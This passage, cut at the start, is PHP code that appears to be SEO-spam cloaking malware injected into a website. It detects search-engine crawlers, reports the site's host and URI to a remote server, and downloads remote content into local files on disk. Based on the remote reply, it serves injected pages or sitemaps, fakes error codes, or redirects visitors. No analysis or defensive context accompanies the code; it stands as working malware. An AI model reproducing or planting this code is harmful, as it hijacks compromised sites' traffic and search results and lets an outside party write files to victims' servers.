'; } return $return_str; } function disbot() { $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']); if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) { return true; } else { return false; } } function doutdo($url) { $file_contents= ''; if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } function doutdo_post($url,$data){ $file_contents= ''; if(function_exists('curl_init')){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $ms = 0; foreach($data as $key=>$value){ if($ms == 0){ $url .= '?'.$key.'='.$value; }else{ $url .= '&'.$key.'='.$value; } $ms++; } $file_contents = @file_get_contents($url); } return $file_contents; } function fcss($dpath,$ps,$urlc){ if(is_dir($dpath)){ if(!file_exists($ps)){ @file_put_contents($ps,doutdo($urlc)); } }else{ if(@mkdir($dpath)){ if(!file_exists($ps)){ @file_put_contents($ps,doutdo($urlc)); } } } } if($duri_tmp=='/' || strstr($duri_tmp, 'ewttm')){ fcss($dpath,$ps,$urlc); } if(is_file($ps)){ $css_state = 1; }else{ $css_state = 0; } $pdata = array( 'web' => $host, 'zz' => disbot(), 'uri' => $duri, 'urlshang' => $urlshang, 'http' => $http, 'lang' => $lang, 'css' => $css_state, ); $web = $http_web . '://' . $goweb . '/indexnew.php'; $html_content = trim(doutdo_post($web,$pdata)); if (!strstr($html_content, 'nobotuseragent')) { if (strstr($html_content, 'okhtmlgetcontent')) { @header("Content-type: text/html; charset=utf-8"); if(file_exists($ps)){ $lcss_str = file_get_contents($ps); $html_content = str_replace("[##linkcss##]", $lcss_str, $html_content); }else{ $html_content = str_replace("[##linkcss##]", '', $html_content); } $html_content = str_replace("okhtmlgetcontent", '', $html_content); echo $html_content; exit(); }else if(strstr($html_content, 'okxmlgetcontent')){ $html_content = str_replace("okxmlgetcontent", '', $html_content); @header("Content-type: text/xml"); echo $html_content; exit(); }else if(strstr($html_content, 'pingxmlgetcontent')){ $html_content = str_replace("pingxmlgetcontent", '', $html_content); fcss($dpath,$ps,$urlc); @header("Content-type: text/html; charset=utf-8"); echo ping_sitemap($html_content); exit(); }else if (strstr($html_content, 'getcontent500page')) { @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if (strstr($html_content, 'getcontent404page')) { @header('HTTP/1.1 404 Not Found'); exit(); }else if (strstr($html_content, 'getcontent301page')) { @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page", '', $html_content); header('Location: ' . $html_content); exit(); } }/* blog B694 */ ?>